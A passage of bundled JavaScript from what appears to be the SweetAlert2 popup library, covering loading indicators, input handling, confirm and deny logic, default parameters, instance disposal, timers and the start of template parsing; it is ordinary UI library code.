  1695. const handlePopupAnimation = (instance, popup, innerParams) => {
  1696. const container = getContainer();
  1697. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  1698. if (typeof innerParams.willClose === "function") {
  1699. innerParams.willClose(popup);
  1700. }
  1701. if (animationIsSupported) {
  1702. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  1703. } else {
  1704. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  1705. }
  1706. };
  1707. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  1708. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  1709. popup.addEventListener(animationEndEvent, function(e) {
  1710. if (e.target === popup) {
  1711. globalState.swalCloseEventFinishedCallback();
  1712. delete globalState.swalCloseEventFinishedCallback;
  1713. }
  1714. });
  1715. };
  1716. const triggerDidCloseAndDispose = (instance, didClose) => {
  1717. setTimeout(() => {
  1718. if (typeof didClose === "function") {
  1719. didClose.bind(instance.params)();
  1720. }
  1721. if (instance._destroy) {
  1722. instance._destroy();
  1723. }
  1724. });
  1725. };
  1726. const showLoading = (buttonToReplace) => {
  1727. let popup = getPopup();
  1728. if (!popup) {
  1729. new Swal3();
  1730. }
  1731. popup = getPopup();
  1732. const loader = getLoader();
  1733. if (isToast()) {
  1734. hide(getIcon());
  1735. } else {
  1736. replaceButton(popup, buttonToReplace);
  1737. }
  1738. show(loader);
  1739. popup.setAttribute("data-loading", "true");
  1740. popup.setAttribute("aria-busy", "true");
  1741. popup.focus();
  1742. };
  1743. const replaceButton = (popup, buttonToReplace) => {
  1744. const actions = getActions();
  1745. const loader = getLoader();
  1746. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  1747. buttonToReplace = getConfirmButton();
  1748. }
  1749. show(actions);
  1750. if (buttonToReplace) {
  1751. hide(buttonToReplace);
  1752. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  1753. }
  1754. loader.parentNode.insertBefore(loader, buttonToReplace);
  1755. addClass([popup, actions], swalClasses.loading);
  1756. };
  1757. const handleInputOptionsAndValue = (instance, params) => {
  1758. if (params.input === "select" || params.input === "radio") {
  1759. handleInputOptions(instance, params);
  1760. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  1761. showLoading(getConfirmButton());
  1762. handleInputValue(instance, params);
  1763. }
  1764. };
  1765. const getInputValue = (instance, innerParams) => {
  1766. const input = instance.getInput();
  1767. if (!input) {
  1768. return null;
  1769. }
  1770. switch (innerParams.input) {
  1771. case "checkbox":
  1772. return getCheckboxValue(input);
  1773. case "radio":
  1774. return getRadioValue(input);
  1775. case "file":
  1776. return getFileValue(input);
  1777. default:
  1778. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  1779. }
  1780. };
  1781. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  1782. const getRadioValue = (input) => input.checked ? input.value : null;
  1783. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  1784. const handleInputOptions = (instance, params) => {
  1785. const popup = getPopup();
  1786. const processInputOptions = (inputOptions) => {
  1787. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  1788. };
  1789. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  1790. showLoading(getConfirmButton());
  1791. asPromise(params.inputOptions).then((inputOptions) => {
  1792. instance.hideLoading();
  1793. processInputOptions(inputOptions);
  1794. });
  1795. } else if (typeof params.inputOptions === "object") {
  1796. processInputOptions(params.inputOptions);
  1797. } else {
  1798. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  1799. }
  1800. };
  1801. const handleInputValue = (instance, params) => {
  1802. const input = instance.getInput();
  1803. hide(input);
  1804. asPromise(params.inputValue).then((inputValue) => {
  1805. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  1806. show(input);
  1807. input.focus();
  1808. instance.hideLoading();
  1809. }).catch((err) => {
  1810. error(`Error in inputValue promise: ${err}`);
  1811. input.value = "";
  1812. show(input);
  1813. input.focus();
  1814. instance.hideLoading();
  1815. });
  1816. };
  1817. const populateInputOptions = {
  1818. /**
  1819. * @param {HTMLElement} popup
  1820. * @param {Record<string, any>} inputOptions
  1821. * @param {SweetAlertOptions} params
  1822. */
  1823. select: (popup, inputOptions, params) => {
  1824. const select = getDirectChildByClass(popup, swalClasses.select);
  1825. const renderOption = (parent, optionLabel, optionValue) => {
  1826. const option = document.createElement("option");
  1827. option.value = optionValue;
  1828. setInnerHtml(option, optionLabel);
  1829. option.selected = isSelected(optionValue, params.inputValue);
  1830. parent.appendChild(option);
  1831. };
  1832. inputOptions.forEach((inputOption) => {
  1833. const optionValue = inputOption[0];
  1834. const optionLabel = inputOption[1];
  1835. if (Array.isArray(optionLabel)) {
  1836. const optgroup = document.createElement("optgroup");
  1837. optgroup.label = optionValue;
  1838. optgroup.disabled = false;
  1839. select.appendChild(optgroup);
  1840. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  1841. } else {
  1842. renderOption(select, optionLabel, optionValue);
  1843. }
  1844. });
  1845. select.focus();
  1846. },
  1847. /**
  1848. * @param {HTMLElement} popup
  1849. * @param {Record<string, any>} inputOptions
  1850. * @param {SweetAlertOptions} params
  1851. */
  1852. radio: (popup, inputOptions, params) => {
  1853. const radio = getDirectChildByClass(popup, swalClasses.radio);
  1854. inputOptions.forEach((inputOption) => {
  1855. const radioValue = inputOption[0];
  1856. const radioLabel = inputOption[1];
  1857. const radioInput = document.createElement("input");
  1858. const radioLabelElement = document.createElement("label");
  1859. radioInput.type = "radio";
  1860. radioInput.name = swalClasses.radio;
  1861. radioInput.value = radioValue;
  1862. if (isSelected(radioValue, params.inputValue)) {
  1863. radioInput.checked = true;
  1864. }
  1865. const label = document.createElement("span");
  1866. setInnerHtml(label, radioLabel);
  1867. label.className = swalClasses.label;
  1868. radioLabelElement.appendChild(radioInput);
  1869. radioLabelElement.appendChild(label);
  1870. radio.appendChild(radioLabelElement);
  1871. });
  1872. const radios = radio.querySelectorAll("input");
  1873. if (radios.length) {
  1874. radios[0].focus();
  1875. }
  1876. }
  1877. };
  1878. const formatInputOptions = (inputOptions) => {
  1879. const result = [];
  1880. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  1881. inputOptions.forEach((value, key) => {
  1882. let valueFormatted = value;
  1883. if (typeof valueFormatted === "object") {
  1884. valueFormatted = formatInputOptions(valueFormatted);
  1885. }
  1886. result.push([key, valueFormatted]);
  1887. });
  1888. } else {
  1889. Object.keys(inputOptions).forEach((key) => {
  1890. let valueFormatted = inputOptions[key];
  1891. if (typeof valueFormatted === "object") {
  1892. valueFormatted = formatInputOptions(valueFormatted);
  1893. }
  1894. result.push([key, valueFormatted]);
  1895. });
  1896. }
  1897. return result;
  1898. };
  1899. const isSelected = (optionValue, inputValue) => {
  1900. return inputValue && inputValue.toString() === optionValue.toString();
  1901. };
  1902. const handleConfirmButtonClick = (instance) => {
  1903. const innerParams = privateProps.innerParams.get(instance);
  1904. instance.disableButtons();
  1905. if (innerParams.input) {
  1906. handleConfirmOrDenyWithInput(instance, "confirm");
  1907. } else {
  1908. confirm(instance, true);
  1909. }
  1910. };
  1911. const handleDenyButtonClick = (instance) => {
  1912. const innerParams = privateProps.innerParams.get(instance);
  1913. instance.disableButtons();
  1914. if (innerParams.returnInputValueOnDeny) {
  1915. handleConfirmOrDenyWithInput(instance, "deny");
  1916. } else {
  1917. deny(instance, false);
  1918. }
  1919. };
  1920. const handleCancelButtonClick = (instance, dismissWith) => {
  1921. instance.disableButtons();
  1922. dismissWith(DismissReason.cancel);
  1923. };
  1924. const handleConfirmOrDenyWithInput = (instance, type) => {
  1925. const innerParams = privateProps.innerParams.get(instance);
  1926. if (!innerParams.input) {
  1927. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  1928. return;
  1929. }
  1930. const inputValue = getInputValue(instance, innerParams);
  1931. if (innerParams.inputValidator) {
  1932. handleInputValidator(instance, inputValue, type);
  1933. } else if (!instance.getInput().checkValidity()) {
  1934. instance.enableButtons();
  1935. instance.showValidationMessage(innerParams.validationMessage);
  1936. } else if (type === "deny") {
  1937. deny(instance, inputValue);
  1938. } else {
  1939. confirm(instance, inputValue);
  1940. }
  1941. };
  1942. const handleInputValidator = (instance, inputValue, type) => {
  1943. const innerParams = privateProps.innerParams.get(instance);
  1944. instance.disableInput();
  1945. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  1946. validationPromise.then((validationMessage) => {
  1947. instance.enableButtons();
  1948. instance.enableInput();
  1949. if (validationMessage) {
  1950. instance.showValidationMessage(validationMessage);
  1951. } else if (type === "deny") {
  1952. deny(instance, inputValue);
  1953. } else {
  1954. confirm(instance, inputValue);
  1955. }
  1956. });
  1957. };
  1958. const deny = (instance, value) => {
  1959. const innerParams = privateProps.innerParams.get(instance || void 0);
  1960. if (innerParams.showLoaderOnDeny) {
  1961. showLoading(getDenyButton());
  1962. }
  1963. if (innerParams.preDeny) {
  1964. instance.isAwaitingPromise = true;
  1965. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  1966. preDenyPromise.then((preDenyValue) => {
  1967. if (preDenyValue === false) {
  1968. instance.hideLoading();
  1969. handleAwaitingPromise(instance);
  1970. } else {
  1971. instance.close({
  1972. isDenied: true,
  1973. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  1974. });
  1975. }
  1976. }).catch((error2) => rejectWith(instance || void 0, error2));
  1977. } else {
  1978. instance.close({
  1979. isDenied: true,
  1980. value
  1981. });
  1982. }
  1983. };
  1984. const succeedWith = (instance, value) => {
  1985. instance.close({
  1986. isConfirmed: true,
  1987. value
  1988. });
  1989. };
  1990. const rejectWith = (instance, error2) => {
  1991. instance.rejectPromise(error2);
  1992. };
  1993. const confirm = (instance, value) => {
  1994. const innerParams = privateProps.innerParams.get(instance || void 0);
  1995. if (innerParams.showLoaderOnConfirm) {
  1996. showLoading();
  1997. }
  1998. if (innerParams.preConfirm) {
  1999. instance.resetValidationMessage();
  2000. instance.isAwaitingPromise = true;
  2001. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  2002. preConfirmPromise.then((preConfirmValue) => {
  2003. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  2004. instance.hideLoading();
  2005. handleAwaitingPromise(instance);
  2006. } else {
  2007. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  2008. }
  2009. }).catch((error2) => rejectWith(instance || void 0, error2));
  2010. } else {
  2011. succeedWith(instance, value);
  2012. }
  2013. };
  2014. function hideLoading() {
  2015. const innerParams = privateProps.innerParams.get(this);
  2016. if (!innerParams) {
  2017. return;
  2018. }
  2019. const domCache = privateProps.domCache.get(this);
  2020. hide(domCache.loader);
  2021. if (isToast()) {
  2022. if (innerParams.icon) {
  2023. show(getIcon());
  2024. }
  2025. } else {
  2026. showRelatedButton(domCache);
  2027. }
  2028. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2029. domCache.popup.removeAttribute("aria-busy");
  2030. domCache.popup.removeAttribute("data-loading");
  2031. domCache.confirmButton.disabled = false;
  2032. domCache.denyButton.disabled = false;
  2033. domCache.cancelButton.disabled = false;
  2034. }
  2035. const showRelatedButton = (domCache) => {
  2036. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2037. if (buttonToReplace.length) {
  2038. show(buttonToReplace[0], "inline-block");
  2039. } else if (allButtonsAreHidden()) {
  2040. hide(domCache.actions);
  2041. }
  2042. };
  2043. function getInput() {
  2044. const innerParams = privateProps.innerParams.get(this);
  2045. const domCache = privateProps.domCache.get(this);
  2046. if (!domCache) {
  2047. return null;
  2048. }
  2049. return getInput$1(domCache.popup, innerParams.input);
  2050. }
  2051. function setButtonsDisabled(instance, buttons, disabled) {
  2052. const domCache = privateProps.domCache.get(instance);
  2053. buttons.forEach((button) => {
  2054. domCache[button].disabled = disabled;
  2055. });
  2056. }
  2057. function setInputDisabled(input, disabled) {
  2058. if (!input) {
  2059. return;
  2060. }
  2061. if (input.type === "radio") {
  2062. const radiosContainer = input.parentNode.parentNode;
  2063. const radios = radiosContainer.querySelectorAll("input");
  2064. for (let i = 0; i < radios.length; i++) {
  2065. radios[i].disabled = disabled;
  2066. }
  2067. } else {
  2068. input.disabled = disabled;
  2069. }
  2070. }
  2071. function enableButtons() {
  2072. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2073. }
  2074. function disableButtons() {
  2075. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2076. }
  2077. function enableInput() {
  2078. setInputDisabled(this.getInput(), false);
  2079. }
  2080. function disableInput() {
  2081. setInputDisabled(this.getInput(), true);
  2082. }
  2083. function showValidationMessage(error2) {
  2084. const domCache = privateProps.domCache.get(this);
  2085. const params = privateProps.innerParams.get(this);
  2086. setInnerHtml(domCache.validationMessage, error2);
  2087. domCache.validationMessage.className = swalClasses["validation-message"];
  2088. if (params.customClass && params.customClass.validationMessage) {
  2089. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2090. }
  2091. show(domCache.validationMessage);
  2092. const input = this.getInput();
  2093. if (input) {
  2094. input.setAttribute("aria-invalid", true);
  2095. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2096. focusInput(input);
  2097. addClass(input, swalClasses.inputerror);
  2098. }
  2099. }
  2100. function resetValidationMessage() {
  2101. const domCache = privateProps.domCache.get(this);
  2102. if (domCache.validationMessage) {
  2103. hide(domCache.validationMessage);
  2104. }
  2105. const input = this.getInput();
  2106. if (input) {
  2107. input.removeAttribute("aria-invalid");
  2108. input.removeAttribute("aria-describedby");
  2109. removeClass(input, swalClasses.inputerror);
  2110. }
  2111. }
  2112. const defaultParams = {
  2113. title: "",
  2114. titleText: "",
  2115. text: "",
  2116. html: "",
  2117. footer: "",
  2118. icon: void 0,
  2119. iconColor: void 0,
  2120. iconHtml: void 0,
  2121. template: void 0,
  2122. toast: false,
  2123. showClass: {
  2124. popup: "swal2-show",
  2125. backdrop: "swal2-backdrop-show",
  2126. icon: "swal2-icon-show"
  2127. },
  2128. hideClass: {
  2129. popup: "swal2-hide",
  2130. backdrop: "swal2-backdrop-hide",
  2131. icon: "swal2-icon-hide"
  2132. },
  2133. customClass: {},
  2134. target: "body",
  2135. color: void 0,
  2136. backdrop: true,
  2137. heightAuto: true,
  2138. allowOutsideClick: true,
  2139. allowEscapeKey: true,
  2140. allowEnterKey: true,
  2141. stopKeydownPropagation: true,
  2142. keydownListenerCapture: false,
  2143. showConfirmButton: true,
  2144. showDenyButton: false,
  2145. showCancelButton: false,
  2146. preConfirm: void 0,
  2147. preDeny: void 0,
  2148. confirmButtonText: "OK",
  2149. confirmButtonAriaLabel: "",
  2150. confirmButtonColor: void 0,
  2151. denyButtonText: "No",
  2152. denyButtonAriaLabel: "",
  2153. denyButtonColor: void 0,
  2154. cancelButtonText: "Cancel",
  2155. cancelButtonAriaLabel: "",
  2156. cancelButtonColor: void 0,
  2157. buttonsStyling: true,
  2158. reverseButtons: false,
  2159. focusConfirm: true,
  2160. focusDeny: false,
  2161. focusCancel: false,
  2162. returnFocus: true,
  2163. showCloseButton: false,
  2164. closeButtonHtml: "&times;",
  2165. closeButtonAriaLabel: "Close this dialog",
  2166. loaderHtml: "",
  2167. showLoaderOnConfirm: false,
  2168. showLoaderOnDeny: false,
  2169. imageUrl: void 0,
  2170. imageWidth: void 0,
  2171. imageHeight: void 0,
  2172. imageAlt: "",
  2173. timer: void 0,
  2174. timerProgressBar: false,
  2175. width: void 0,
  2176. padding: void 0,
  2177. background: void 0,
  2178. input: void 0,
  2179. inputPlaceholder: "",
  2180. inputLabel: "",
  2181. inputValue: "",
  2182. inputOptions: {},
  2183. inputAutoFocus: true,
  2184. inputAutoTrim: true,
  2185. inputAttributes: {},
  2186. inputValidator: void 0,
  2187. returnInputValueOnDeny: false,
  2188. validationMessage: void 0,
  2189. grow: false,
  2190. position: "center",
  2191. progressSteps: [],
  2192. currentProgressStep: void 0,
  2193. progressStepsDistance: void 0,
  2194. willOpen: void 0,
  2195. didOpen: void 0,
  2196. didRender: void 0,
  2197. willClose: void 0,
  2198. didClose: void 0,
  2199. didDestroy: void 0,
  2200. scrollbarPadding: true
  2201. };
  2202. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2203. const deprecatedParams = {};
  2204. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2205. const isValidParameter = (paramName) => {
  2206. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2207. };
  2208. const isUpdatableParameter = (paramName) => {
  2209. return updatableParams.indexOf(paramName) !== -1;
  2210. };
  2211. const isDeprecatedParameter = (paramName) => {
  2212. return deprecatedParams[paramName];
  2213. };
  2214. const checkIfParamIsValid = (param) => {
  2215. if (!isValidParameter(param)) {
  2216. warn(`Unknown parameter "${param}"`);
  2217. }
  2218. };
  2219. const checkIfToastParamIsValid = (param) => {
  2220. if (toastIncompatibleParams.includes(param)) {
  2221. warn(`The parameter "${param}" is incompatible with toasts`);
  2222. }
  2223. };
  2224. const checkIfParamIsDeprecated = (param) => {
  2225. const isDeprecated = isDeprecatedParameter(param);
  2226. if (isDeprecated) {
  2227. warnAboutDeprecation(param, isDeprecated);
  2228. }
  2229. };
  2230. const showWarningsForParams = (params) => {
  2231. if (params.backdrop === false && params.allowOutsideClick) {
  2232. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2233. }
  2234. for (const param in params) {
  2235. checkIfParamIsValid(param);
  2236. if (params.toast) {
  2237. checkIfToastParamIsValid(param);
  2238. }
  2239. checkIfParamIsDeprecated(param);
  2240. }
  2241. };
  2242. function update(params) {
  2243. const popup = getPopup();
  2244. const innerParams = privateProps.innerParams.get(this);
  2245. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2246. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2247. return;
  2248. }
  2249. const validUpdatableParams = filterValidParams(params);
  2250. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2251. render(this, updatedParams);
  2252. privateProps.innerParams.set(this, updatedParams);
  2253. Object.defineProperties(this, {
  2254. params: {
  2255. value: Object.assign({}, this.params, params),
  2256. writable: false,
  2257. enumerable: true
  2258. }
  2259. });
  2260. }
  2261. const filterValidParams = (params) => {
  2262. const validUpdatableParams = {};
  2263. Object.keys(params).forEach((param) => {
  2264. if (isUpdatableParameter(param)) {
  2265. validUpdatableParams[param] = params[param];
  2266. } else {
  2267. warn(`Invalid parameter to update: ${param}`);
  2268. }
  2269. });
  2270. return validUpdatableParams;
  2271. };
  2272. function _destroy() {
  2273. const domCache = privateProps.domCache.get(this);
  2274. const innerParams = privateProps.innerParams.get(this);
  2275. if (!innerParams) {
  2276. disposeWeakMaps(this);
  2277. return;
  2278. }
  2279. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2280. globalState.swalCloseEventFinishedCallback();
  2281. delete globalState.swalCloseEventFinishedCallback;
  2282. }
  2283. if (typeof innerParams.didDestroy === "function") {
  2284. innerParams.didDestroy();
  2285. }
  2286. disposeSwal(this);
  2287. }
  2288. const disposeSwal = (instance) => {
  2289. disposeWeakMaps(instance);
  2290. delete instance.params;
  2291. delete globalState.keydownHandler;
  2292. delete globalState.keydownTarget;
  2293. delete globalState.currentInstance;
  2294. };
  2295. const disposeWeakMaps = (instance) => {
  2296. if (instance.isAwaitingPromise) {
  2297. unsetWeakMaps(privateProps, instance);
  2298. instance.isAwaitingPromise = true;
  2299. } else {
  2300. unsetWeakMaps(privateMethods, instance);
  2301. unsetWeakMaps(privateProps, instance);
  2302. delete instance.isAwaitingPromise;
  2303. delete instance.disableButtons;
  2304. delete instance.enableButtons;
  2305. delete instance.getInput;
  2306. delete instance.disableInput;
  2307. delete instance.enableInput;
  2308. delete instance.hideLoading;
  2309. delete instance.disableLoading;
  2310. delete instance.showValidationMessage;
  2311. delete instance.resetValidationMessage;
  2312. delete instance.close;
  2313. delete instance.closePopup;
  2314. delete instance.closeModal;
  2315. delete instance.closeToast;
  2316. delete instance.rejectPromise;
  2317. delete instance.update;
  2318. delete instance._destroy;
  2319. }
  2320. };
  2321. const unsetWeakMaps = (obj, instance) => {
  2322. for (const i in obj) {
  2323. obj[i].delete(instance);
  2324. }
  2325. };
  2326. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2327. __proto__: null,
  2328. _destroy,
  2329. close,
  2330. closeModal: close,
  2331. closePopup: close,
  2332. closeToast: close,
  2333. disableButtons,
  2334. disableInput,
  2335. disableLoading: hideLoading,
  2336. enableButtons,
  2337. enableInput,
  2338. getInput,
  2339. handleAwaitingPromise,
  2340. hideLoading,
  2341. rejectPromise,
  2342. resetValidationMessage,
  2343. showValidationMessage,
  2344. update
  2345. });
  2346. const handlePopupClick = (instance, domCache, dismissWith) => {
  2347. const innerParams = privateProps.innerParams.get(instance);
  2348. if (innerParams.toast) {
  2349. handleToastClick(instance, domCache, dismissWith);
  2350. } else {
  2351. handleModalMousedown(domCache);
  2352. handleContainerMousedown(domCache);
  2353. handleModalClick(instance, domCache, dismissWith);
  2354. }
  2355. };
  2356. const handleToastClick = (instance, domCache, dismissWith) => {
  2357. domCache.popup.onclick = () => {
  2358. const innerParams = privateProps.innerParams.get(instance);
  2359. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  2360. return;
  2361. }
  2362. dismissWith(DismissReason.close);
  2363. };
  2364. };
  2365. const isAnyButtonShown = (innerParams) => {
  2366. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  2367. };
  2368. let ignoreOutsideClick = false;
  2369. const handleModalMousedown = (domCache) => {
  2370. domCache.popup.onmousedown = () => {
  2371. domCache.container.onmouseup = function(e) {
  2372. domCache.container.onmouseup = void 0;
  2373. if (e.target === domCache.container) {
  2374. ignoreOutsideClick = true;
  2375. }
  2376. };
  2377. };
  2378. };
  2379. const handleContainerMousedown = (domCache) => {
  2380. domCache.container.onmousedown = () => {
  2381. domCache.popup.onmouseup = function(e) {
  2382. domCache.popup.onmouseup = void 0;
  2383. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  2384. ignoreOutsideClick = true;
  2385. }
  2386. };
  2387. };
  2388. };
  2389. const handleModalClick = (instance, domCache, dismissWith) => {
  2390. domCache.container.onclick = (e) => {
  2391. const innerParams = privateProps.innerParams.get(instance);
  2392. if (ignoreOutsideClick) {
  2393. ignoreOutsideClick = false;
  2394. return;
  2395. }
  2396. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  2397. dismissWith(DismissReason.backdrop);
  2398. }
  2399. };
  2400. };
  2401. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  2402. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  2403. const argsToParams = (args) => {
  2404. const params = {};
  2405. if (typeof args[0] === "object" && !isElement(args[0])) {
  2406. Object.assign(params, args[0]);
  2407. } else {
  2408. ["title", "html", "icon"].forEach((name, index) => {
  2409. const arg = args[index];
  2410. if (typeof arg === "string" || isElement(arg)) {
  2411. params[name] = arg;
  2412. } else if (arg !== void 0) {
  2413. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  2414. }
  2415. });
  2416. }
  2417. return params;
  2418. };
  2419. function fire() {
  2420. const Swal4 = this;
  2421. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2422. args[_key] = arguments[_key];
  2423. }
  2424. return new Swal4(...args);
  2425. }
  2426. function mixin(mixinParams) {
  2427. class MixinSwal extends this {
  2428. _main(params, priorityMixinParams) {
  2429. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  2430. }
  2431. }
  2432. return MixinSwal;
  2433. }
  2434. const getTimerLeft = () => {
  2435. return globalState.timeout && globalState.timeout.getTimerLeft();
  2436. };
  2437. const stopTimer = () => {
  2438. if (globalState.timeout) {
  2439. stopTimerProgressBar();
  2440. return globalState.timeout.stop();
  2441. }
  2442. };
  2443. const resumeTimer = () => {
  2444. if (globalState.timeout) {
  2445. const remaining = globalState.timeout.start();
  2446. animateTimerProgressBar(remaining);
  2447. return remaining;
  2448. }
  2449. };
  2450. const toggleTimer = () => {
  2451. const timer = globalState.timeout;
  2452. return timer && (timer.running ? stopTimer() : resumeTimer());
  2453. };
  2454. const increaseTimer = (n) => {
  2455. if (globalState.timeout) {
  2456. const remaining = globalState.timeout.increase(n);
  2457. animateTimerProgressBar(remaining, true);
  2458. return remaining;
  2459. }
  2460. };
  2461. const isTimerRunning = () => {
  2462. return !!(globalState.timeout && globalState.timeout.isRunning());
  2463. };
  2464. let bodyClickListenerAdded = false;
  2465. const clickHandlers = {};
  2466. function bindClickHandler() {
  2467. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  2468. clickHandlers[attr] = this;
  2469. if (!bodyClickListenerAdded) {
  2470. document.body.addEventListener("click", bodyClickListener);
  2471. bodyClickListenerAdded = true;
  2472. }
  2473. }
  2474. const bodyClickListener = (event) => {
  2475. for (let el = event.target; el && el !== document; el = el.parentNode) {
  2476. for (const attr in clickHandlers) {
  2477. const template = el.getAttribute(attr);
  2478. if (template) {
  2479. clickHandlers[attr].fire({
  2480. template
  2481. });
  2482. return;
  2483. }
  2484. }
  2485. }
  2486. };
  2487. var staticMethods = /* @__PURE__ */ Object.freeze({
  2488. __proto__: null,
  2489. argsToParams,
  2490. bindClickHandler,
  2491. clickCancel,
  2492. clickConfirm,
  2493. clickDeny,
  2494. enableLoading: showLoading,
  2495. fire,
  2496. getActions,
  2497. getCancelButton,
  2498. getCloseButton,
  2499. getConfirmButton,
  2500. getContainer,
  2501. getDenyButton,
  2502. getFocusableElements,
  2503. getFooter,
  2504. getHtmlContainer,
  2505. getIcon,
  2506. getIconContent,
  2507. getImage,
  2508. getInputLabel,
  2509. getLoader,
  2510. getPopup,
  2511. getProgressSteps,
  2512. getTimerLeft,
  2513. getTimerProgressBar,
  2514. getTitle,
  2515. getValidationMessage,
  2516. increaseTimer,
  2517. isDeprecatedParameter,
  2518. isLoading,
  2519. isTimerRunning,
  2520. isUpdatableParameter,
  2521. isValidParameter,
  2522. isVisible,
  2523. mixin,
  2524. resumeTimer,
  2525. showLoading,
  2526. stopTimer,
  2527. toggleTimer
  2528. });
  2529. class Timer {
  2530. /**
  2531. * @param {Function} callback
  2532. * @param {number} delay
  2533. */
  2534. constructor(callback, delay) {
  2535. this.callback = callback;
  2536. this.remaining = delay;
  2537. this.running = false;
  2538. this.start();
  2539. }
  2540. /**
  2541. * @returns {number}
  2542. */
  2543. start() {
  2544. if (!this.running) {
  2545. this.running = true;
  2546. this.started = /* @__PURE__ */ new Date();
  2547. this.id = setTimeout(this.callback, this.remaining);
  2548. }
  2549. return this.remaining;
  2550. }
  2551. /**
  2552. * @returns {number}
  2553. */
  2554. stop() {
  2555. if (this.started && this.running) {
  2556. this.running = false;
  2557. clearTimeout(this.id);
  2558. this.remaining -= (/* @__PURE__ */ new Date()).getTime() - this.started.getTime();
  2559. }
  2560. return this.remaining;
  2561. }
  2562. /**
  2563. * @param {number} n
  2564. * @returns {number}
  2565. */
  2566. increase(n) {
  2567. const running = this.running;
  2568. if (running) {
  2569. this.stop();
  2570. }
  2571. this.remaining += n;
  2572. if (running) {
  2573. this.start();
  2574. }
  2575. return this.remaining;
  2576. }
  2577. /**
  2578. * @returns {number}
  2579. */
  2580. getTimerLeft() {
  2581. if (this.running) {
  2582. this.stop();
  2583. this.start();
  2584. }
  2585. return this.remaining;
  2586. }
  2587. /**
  2588. * @returns {boolean}
  2589. */
  2590. isRunning() {
  2591. return this.running;
  2592. }
  2593. }
  2594. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  2595. const getTemplateParams = (params) => {
  2596. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  2597. if (!template) {
  2598. return {};
  2599. }
  2600. const templateContent = template.content;
  2601. showWarningsForElements(templateContent);
  2602. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  2603. return result;
  2604. };
  2605. const getSwalParams = (templateContent) => {
  2606. const result = {};
  2607. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  2608. swalParams.forEach((param) => {
  2609. showWarningsForAttributes(param, ["name", "value"]);
  2610. const paramName = param.getAttribute("name");
  2611. const value = param.getAttribute("value");
